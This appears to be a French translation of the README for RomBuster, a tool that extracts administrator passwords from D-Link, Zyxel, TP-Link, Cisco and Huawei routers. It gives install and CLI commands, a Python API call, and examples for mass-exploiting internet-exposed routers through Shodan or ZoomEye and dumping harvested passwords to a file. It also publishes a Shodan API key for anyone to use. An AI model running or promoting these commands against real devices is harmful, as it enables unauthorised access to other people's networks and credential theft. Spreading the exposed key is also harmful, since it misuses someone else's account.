RomBuster

RomBuster est un outil d'exploitation de routeur qui permet de divulguer le mot de passe administrateur du routeur réseau.

Fonctionnalités

• Exploite les vulnérabilités des routeurs les plus populaires tels que D-Link, Zyxel, TP-Link, Cisco et Huawei.
• Optimisé pour exploiter plusieurs routeurs à la fois à partir d'une liste.
• Utilisation simple en CLI et API.

Installation

pip3 install git+https://github.com/EntySec/RomBuster

Utilisation de base

Pour utiliser RomBuster, tapez simplement rombuster dans votre terminal.

usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
                 [--zoomeye ZOOMEYE] [-p PAGES]

RomBuster is a router exploitation tool that allows to disclosure network
router admin password.

optional arguments:
  -h, --help            show this help message and exit
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

Exemples

Exploitation d'un seul routeur

Hackons mon routeur juste pour le fun.

rombuster -a 192.168.99.1

Exploitation de routeurs depuis Internet

Essayons d'utiliser le moteur de recherche Shodan pour exploiter des routeurs sur Internet.

rombuster --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTE: La clé API Shodan fournie (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) est ma clé PRO, vous pouvez utiliser cette clé ou la vôtre, n'hésitez pas à utiliser toutes nos ressources gratuitement :)

Exploitation de routeurs à partir d'un fichier d'entrée

Essayons d'utiliser une base de données ouverte de routeurs.

rombuster -i routers.txt -o passwords.txt

NOTE: Cela exploitera tous les routeurs de la liste routers.txt par leurs adresses et sauvegardera tous les mots de passe obtenus dans passwords.txt.

Utilisation de l'API

RomBuster possède également sa propre API Python qui peut être invoquée en important RomBuster dans votre code.

from rombuster import RomBuster

Fonctions de base

Voici toutes les fonctions de base de RomBuster qui peuvent être utilisées pour exploiter un routeur spécifié.

• exploit(address) - Exploite un seul routeur par une adresse donnée.

Exemples

Exploitation d'un seul routeur

from rombuster import RomBuster

rombuster = RomBuster()
creds = rombuster.exploit('192.168.99.1')

print(creds)